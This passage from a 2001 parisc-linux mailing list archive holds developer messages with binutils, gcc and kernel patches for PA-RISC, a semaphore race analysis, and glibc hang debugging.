inserts magic stubs.  For some reason, that's not happening here on the
call from frame_dummy to __register_frame_info.  You're right though, it
should work.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 00:37:55 +1100 (EST)
Lines: 132
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103160028370.15086-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103151813460.27636-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619953 16822 80.91.229.3 (22 Nov 2014 01:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:33 +0000 (UTC)
Cc: randolph@tausq.org, bdale@gag.com, alan_c_meyer@am.exch.hp.com,
	parisc-linux@lists.parisc-linux.org
To: taggart@carmen.fc.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 15 06:50:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2B064A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Mar 2001 06:50:56 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA19536;
	Fri, 16 Mar 2001 00:37:55 +1100
In-Reply-To: <Pine.LNX.4.21.0103151813460.27636-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10528

On Thu, 15 Mar 2001, Alan Modra wrote:

> On Thu, 15 Mar 2001, John David Anglin wrote:
> 
> > Uh?  Non pic code has always called pic code in libgcc.  Trashing r19
> > in frame_dummy shouldn't be a problem.
> 
> The only reason pic code can be called from non-pic is that the linker
> inserts magic stubs.  For some reason, that's not happening here on the
> call from frame_dummy to __register_frame_info.  You're right though, it
> should work.

This fixes the linker problem.  We had a function that happened to
have it's address taken and thus had a plabel, that also needed a non-PIC
to PIC call stub.

bfd/ChangeLog
	* elf32-hppa.c (elf32_hppa_link_hash_entry): Add maybe_pic_call.
	(hppa_link_hash_newfunc): Init it.
	(hppa_type_of_stub): Only use non-PIC to PIC call stub if caller
	section appears to be non-PIC.
	(final_link_relocate): Likewise.
	(elf32_hppa_adjust_dynamic_symbol): Set maybe_pic_call for any
	possible candidate function, and set pic_call for those that will
	only have a .plt entry for the PIC call stub.
	(hppa_handle_PIC_calls): Set maybe_pic_call.

Unfortunately, c++ progs still crash due to the unwind frame info list
head being trashed.  Haven't found out why yet, and I'm ready to crash
myself.

Alan Modra
-- 
Linuxcare

Index: bfd/elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.28
diff -u -p -r1.28 elf32-hppa.c
--- elf32-hppa.c	2001/03/08 21:03:58	1.28
+++ elf32-hppa.c	2001/03/15 13:26:03
@@ -225,6 +225,10 @@ struct elf32_hppa_link_hash_entry {
 #endif
 
   /* Set during a static link if we detect a function is PIC.  */
+  unsigned int maybe_pic_call:1;
+
+  /* Set if the only reason we need a .plt entry is for a non-PIC to
+     PIC function call.  */
   unsigned int pic_call:1;
 
   /* Set if this symbol is used by a plabel reloc.  */
@@ -490,6 +494,7 @@ hppa_link_hash_newfunc (entry, table, st
 #if ! LONG_BRANCH_PIC_IN_SHLIB || RELATIVE_DYNAMIC_RELOCS
       ret->reloc_entries = NULL;
 #endif
+      ret->maybe_pic_call = 0;
       ret->pic_call = 0;
       ret->plabel = 0;
       ret->plt_abs = 0;
@@ -721,7 +726,7 @@ hppa_type_of_stub (input_sec, rel, hash,
 	      && hash->elf.plt.offset != (bfd_vma) -1)
 	  || hash->elf.root.type == bfd_link_hash_undefweak
 	  || hash->elf.root.type == bfd_link_hash_undefined
-	  || hash->pic_call))
+	  || (hash->maybe_pic_call && !(input_sec->flags & SEC_HAS_GOT_REF))))
     {
       /* If output_section is NULL, then it's a symbol defined in a
 	 shared library.  We will need an import stub.  Decide between
@@ -1890,6 +1895,14 @@ elf32_hppa_adjust_dynamic_symbol (info, 
   if (h->type == STT_FUNC
       || (h->elf_link_hash_flags & ELF_LINK_HASH_NEEDS_PLT) != 0)
     {
+      if (!info->shared
+	  && h->plt.refcount > 0
+	  && (h->elf_link_hash_flags & ELF_LINK_HASH_DEF_REGULAR) != 0
+	  && (h->root.u.def.section->flags & SEC_HAS_GOT_REF) != 0)
+	{
+	  ((struct elf32_hppa_link_hash_entry *) h)->maybe_pic_call = 1;
+	}
+
       if (h->plt.refcount <= 0
 	  || ((h->elf_link_hash_flags & ELF_LINK_HASH_DEF_REGULAR) != 0
 	      && h->root.type != bfd_link_hash_defweak
@@ -1906,14 +1919,8 @@ elf32_hppa_adjust_dynamic_symbol (info, 
 
 	  /* As a special sop to the hppa ABI, we keep a .plt entry
 	     for functions in sections containing PIC code.  */
-	  if (!info->shared
-	      && h->plt.refcount > 0
-	      && (h->root.type == bfd_link_hash_defined
-		  || h->root.type == bfd_link_hash_defweak)
-	      && (h->root.u.def.section->flags & SEC_HAS_GOT_REF) != 0)
-	    {
-	      ((struct elf32_hppa_link_hash_entry *) h)->pic_call = 1;
-	    }
+	  if (((struct elf32_hppa_link_hash_entry *) h)->maybe_pic_call)
+	    ((struct elf32_hppa_link_hash_entry *) h)->pic_call = 1;
 	  else
 	    {
 	      h->plt.offset = (bfd_vma) -1;
@@ -2059,6 +2066,7 @@ hppa_handle_PIC_calls (h, inf)
     }
 
   h->elf_link_hash_flags |= ELF_LINK_HASH_NEEDS_PLT;
+  ((struct elf32_hppa_link_hash_entry *) h)->maybe_pic_call = 1;
   ((struct elf32_hppa_link_hash_entry *) h)->pic_call = 1;
 
   info = (struct bfd_link_info *) inf;
@@ -3244,11 +3252,12 @@ final_link_relocate (input_section, cont
 	 find the import stub in the stub hash.  */
       if (sym_sec == NULL
 	  || sym_sec->output_section == NULL
-	  || (h != NULL &&
-	      (h->pic_call
-	       || (h->elf.root.type == bfd_link_hash_defweak
-		   && h->elf.dynindx != -1
-		   && h->elf.plt.offset != (bfd_vma) -1))))
+	  || (h != NULL
+	      && ((h->maybe_pic_call
+		   && !(input_section->flags & SEC_HAS_GOT_REF))
+		  || (h->elf.root.type == bfd_link_hash_defweak
+		      && h->elf.dynindx != -1
+		      && h->elf.plt.offset != (bfd_vma) -1))))
 	{
 	  stub_entry = hppa_get_stub_entry (input_section, sym_sec,
 					    h, rel, hplink);





From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 12:43:16 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103161235420.4658-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103160028370.15086-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619953 16828 80.91.229.3 (22 Nov 2014 01:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:33 +0000 (UTC)
Cc: randolph@tausq.org, bdale@gag.com, alan_c_meyer@am.exch.hp.com,
	parisc-linux@lists.parisc-linux.org
To: taggart@carmen.fc.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 15 18:57:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77F6A4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Mar 2001 18:57:35 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA11349;
	Fri, 16 Mar 2001 12:43:16 +1100
In-Reply-To: <Pine.LNX.4.21.0103160028370.15086-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10529

On Fri, 16 Mar 2001, Alan Modra wrote:

> Unfortunately, c++ progs still crash due to the unwind frame info list
> head being trashed.

Merging with current gcc_3.0 didn't cure the problem either.  Haven't yet
recompiled glibc with the newest compiler - started a configure of glibc,
and it seems to think gcc's version number, now 3.0, is too old.  Heh.  At
least that's easily fixed.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 14:42:04 +1100 (EST)
Lines: 62
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103161421060.4658-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103161235420.4658-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619954 16830 80.91.229.3 (22 Nov 2014 01:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:34 +0000 (UTC)
Cc: randolph@tausq.org, bdale@gag.com, alan_c_meyer@am.exch.hp.com,
	parisc-linux@lists.parisc-linux.org
To: taggart@carmen.fc.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 15 20:53:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 524084A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Mar 2001 20:53:48 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA15047;
	Fri, 16 Mar 2001 14:42:04 +1100
In-Reply-To: <Pine.LNX.4.21.0103161235420.4658-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10530

On Fri, 16 Mar 2001, Alan Modra wrote:
> On Fri, 16 Mar 2001, Alan Modra wrote:
> > Unfortunately, c++ progs still crash due to the unwind frame info list
> > head being trashed.
> 
> Merging with current gcc_3.0 didn't cure the problem either.

Lots of stepi's and strategically placed breakpoints under gdb revealed
that libgcc2:init_reg_size_table was the culprit trashing memory.  From
there it's plain sailing...

I reckon this patch will cure the problem, which I'm testing right
now.  New gcc debs again, I'm afraid.  Anybody like to voice an opinion
for/against moving to the merge I've just done with sourceware
gcc_3.0?  Looks good so far.

Index: gcc/config/pa/pa32-regs.h
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/config/pa/pa32-regs.h,v
retrieving revision 1.2
diff -u -p -r1.2 pa32-regs.h
--- pa32-regs.h	2001/02/19 13:54:41	1.2
+++ pa32-regs.h	2001/03/16 03:21:41
@@ -188,6 +188,11 @@
   ((REGNO) <= 31 ? (REGNO) :						\
    ((REGNO) <= 87 ? (REGNO) + 40 : 32))
 
+/* We must not use the DBX register numbers for the DWARF 2 CFA column
+   numbers because that maps to numbers beyond FIRST_PSEUDO_REGISTER.
+   Instead use the identity mapping.  */
+#define DWARF_FRAME_REGNUM(REG) REG
+
 /* Define the classes of registers for register constraints in the
    machine description.  Also define ranges of constants.
 
Index: gcc/config/pa/pa64-regs.h
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/config/pa/pa64-regs.h,v
retrieving revision 1.2
diff -u -p -r1.2 pa64-regs.h
--- pa64-regs.h	2001/02/19 13:54:42	1.2
+++ pa64-regs.h	2001/03/16 03:21:41
@@ -176,6 +176,11 @@ Boston, MA 02111-1307, USA.  */
   ((REGNO) <= 31 ? (REGNO) :						\
    ((REGNO) > 31 && (REGNO) <= 60 ? (REGNO - 32) * 2 + 72 : 32))
 
+/* We must not use the DBX register numbers for the DWARF 2 CFA column
+   numbers because that maps to numbers beyond FIRST_PSEUDO_REGISTER.
+   Instead use the identity mapping.  */
+#define DWARF_FRAME_REGNUM(REG) REG
+
 /* Define the classes of registers for register constraints in the
    machine description.  Also define ranges of constants.
 
Alan
-- 
Linuxcare






From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] semaphore problem
Date: Fri, 16 Mar 2001 06:25:49 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010316062549.H22875@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619954 16834 80.91.229.3 (22 Nov 2014 01:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 15 23:25:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5046C4A19
	for <parisc-linux@parisc-linux.org>; Thu, 15 Mar 2001 23:25:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14dngL-0003Pr-00
	for parisc-linux@parisc-linux.org; Fri, 16 Mar 2001 06:25:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10531

as i suspected, the pipe problem was a semaphore problem.  here's how
it works:

P1: down() count = 0
P2: down() -> __down() -> schedule() count = -1
P1: up() -> wake_up() [P1 placed on runqueue] count = 0
P1: down() -> __down() -> schedule() count = -1

now P2 gets scheduled, sees count is -1, assumes it missed the wakeup
and goes back to sleep.  both tasks are now sleeping on the same semaphore.

i'm going to bed now.  'night!

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tracing through sig handlers
Date: Fri, 16 Mar 2001 10:50:56 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20010316105056.U31505@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619954 16836 80.91.229.3 (22 Nov 2014 01:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 03:51:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61B134A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 03:51:48 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id DD7D6B007; Fri, 16 Mar 2001 10:50:56 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:10532

Hi Alan,

If I do this:


Index: arch/parisc/kernel/signal.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/signal.c,v
retrieving revision 1.37
diff -u -r1.37 signal.c
--- signal.c	2001/02/09 14:39:08	1.37
+++ signal.c	2001/03/16 10:29:48
@@ -260,6 +260,8 @@
 		/* regs->iaoq is undefined in the syscall return path */
 		err |= __put_user(regs->gr[31], &sc->sc_iaoq[0]);
 		err |= __put_user(regs->gr[31]+4, &sc->sc_iaoq[1]);
+		err |= __put_user(regs->sr[3], &sc->sc_iasq[0]);
+		err |= __put_user(regs->sr[3], &sc->sc_iasq[1]);
 #if DEBUG_SIG
 		printk("setup_sigcontext: iaoq %#lx/%#lx\n", regs->gr[31], regs->gr[31]);
 #endif


Then I can strace my little test prog. that sends itself a signal
while the signal is blocked, and then unblocks the signal.

I havn't worked out why this is only apparently necessary when a process
is being traced.

It makes things better with gdb also, but not perfect.  The problem
now is that when you try to step out of the signal handler the program
under test just runs on without stopping.  Previously it would have
crashed with an invalid iasq[].

Richard





From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tracing through sig handlers
Date: Fri, 16 Mar 2001 22:24:05 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103162219500.4658-100000@front.linuxcare.com.au>
References: <20010316105056.U31505@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619955 16840 80.91.229.3 (22 Nov 2014 01:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 04:24:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 629314A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 04:24:10 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA28602;
	Fri, 16 Mar 2001 22:24:05 +1100
In-Reply-To: <20010316105056.U31505@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10533

On Fri, 16 Mar 2001, Richard Hirst wrote:

> I havn't worked out why this is only apparently necessary when a process
> is being traced.

I'm not even going to attempt to figure out why. :-)  Perhaps one of te
kernel gurus can shed some light.

> It makes things better with gdb also, but not perfect.  The problem
> now is that when you try to step out of the signal handler the program
> under test just runs on without stopping.

gdb is still confused about signal handler frames, and I haven't managed
to fix that today.  Too many other fires to fight.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New glibc on 715/75
Date: Fri, 16 Mar 2001 11:55:35 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010316115535.X31505@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619955 16844 80.91.229.3 (22 Nov 2014 01:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 04:56:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 536E84A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 04:56:23 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C65AEB007; Fri, 16 Mar 2001 11:55:35 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:10534

I am trying the glibc etc from newcompilers-20010314 on my 715/75.
It seems anything that is dynamically linked hangs on exit.

I am booting with init=/bin/sash, and have static and dynamic
versions of hello-world (in C, not C++), and of gdb.

I can run the static programs ok, but if I run the dynamic hello-world
it outputs HelloWorld and then goes to sleep.  Console still echoes,
but I don't get the sash prompt back.

This isn't a particularly new problem - I havn't had a working 715/75
root fs since the attempt to part-fix libpthread.

Richard





From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jay Konrad <jkonrad@fonts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] generating a new kernel
Date: Fri, 16 Mar 2001 13:05:49 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <200103161306385.SM00247@jkwinntpc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619955 16851 80.91.229.3 (22 Nov 2014 01:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 05:02:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32BE14A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 05:02:34 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA05821
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Mar 2001 04:57:17 -0700
Original-Received: (qmail 20724 invoked by uid 15267); 16 Mar 2001 12:02:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20711 invoked from network); 16 Mar 2001 12:02:30 -0000
Original-Received: from www.fonts.de (HELO mail.fonts.de) (212.3.145.102)
  by mailserv2.iuinc.com with SMTP; 16 Mar 2001 12:02:30 -0000
Original-Received: from jkwinntpc [193.103.125.151] by mail.fonts.de
  (SMTPD32-6.05) id AFDD7F702AE; Fri, 16 Mar 2001 13:06:37 +0000
X-Mailer: Opera 5.02 build 855
X-Priority: 3 (Normal)
Xref: news.gmane.org gmane.linux.ports.parisc:10535

Hi guys!

I would like to make a new kernel for my HPs. Where , and - even more important - HOW can I get the sources to do so?
Please advise, its pretty urgent!!!

Thanx in advance for your help, I very much appreciate what you do!!

Jay  






From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] generating a new kernel
Date: Fri, 16 Mar 2001 15:54:25 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010316155425.C11346@parcelfarce.linux.theplanet.co.uk>
References: <200103161306385.SM00247@jkwinntpc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619956 16855 80.91.229.3 (22 Nov 2014 01:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jay Konrad <jkonrad@fonts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 08:54:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 523D64A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 08:54:33 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA06802
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Mar 2001 08:49:16 -0700
Original-Received: (qmail 8630 invoked by uid 15267); 16 Mar 2001 15:54:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8622 invoked from network); 16 Mar 2001 15:54:31 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 16 Mar 2001 15:54:31 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14dwYb-0003kK-00; Fri, 16 Mar 2001 15:54:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200103161306385.SM00247@jkwinntpc>; from jkonrad@fonts.de on Fri, Mar 16, 2001 at 01:05:49PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10536

On Fri, Mar 16, 2001 at 01:05:49PM +0100, Jay Konrad wrote:
> Hi guys!
> 
> I would like to make a new kernel for my HPs. Where , and - even more important - HOW can I get the sources to do so?
> Please advise, its pretty urgent!!!
> 
> Thanx in advance for your help, I very much appreciate what you do!!

I don't understand.  Did you not see the link saying `Building the kernel'
on the front page of the website?  Or are the instructions on that page
insufficiently clear?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: New glibc on 715/75
Date: Fri, 16 Mar 2001 16:25:17 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20010316162517.Z31505@linuxcare.com>
References: <20010316115535.X31505@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619956 16858 80.91.229.3 (22 Nov 2014 01:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 09:26:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D10804A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 09:26:06 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8F109B007; Fri, 16 Mar 2001 16:25:17 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010316115535.X31505@linuxcare.com>; from rhirst@linuxcare.com on Fri, Mar 16, 2001 at 11:55:35AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:10537

On Fri, Mar 16, 2001 at 11:55:35AM +0000, Richard Hirst wrote:
> I am trying the glibc etc from newcompilers-20010314 on my 715/75.
> It seems anything that is dynamically linked hangs on exit.

Hangs in this loop:

0x40014150 <__hppa_make_fptr+56>:       ldw 5f0(sr0,r1),r1
0x40014154 <__hppa_make_fptr+60>:       ldcw  0(sr0,r1),r1
0x40014158 <__hppa_make_fptr+64>:       cmpib,= 0,r1,0x40014150 <__hppa_make_fptr+56>
0x4001415c <__hppa_make_fptr+68>:       addil 0,r19,%r1

r19 = 4001a930.

For a good run on the B180, I get in to this code with the
same r19.  r1=r19, r1+0x5f0=0x4001af20

0x4001af20 <errno+1848>:        0x4001a7c8

0x4001a7c8 <__hppa_fptr_lock>:  0x00000001


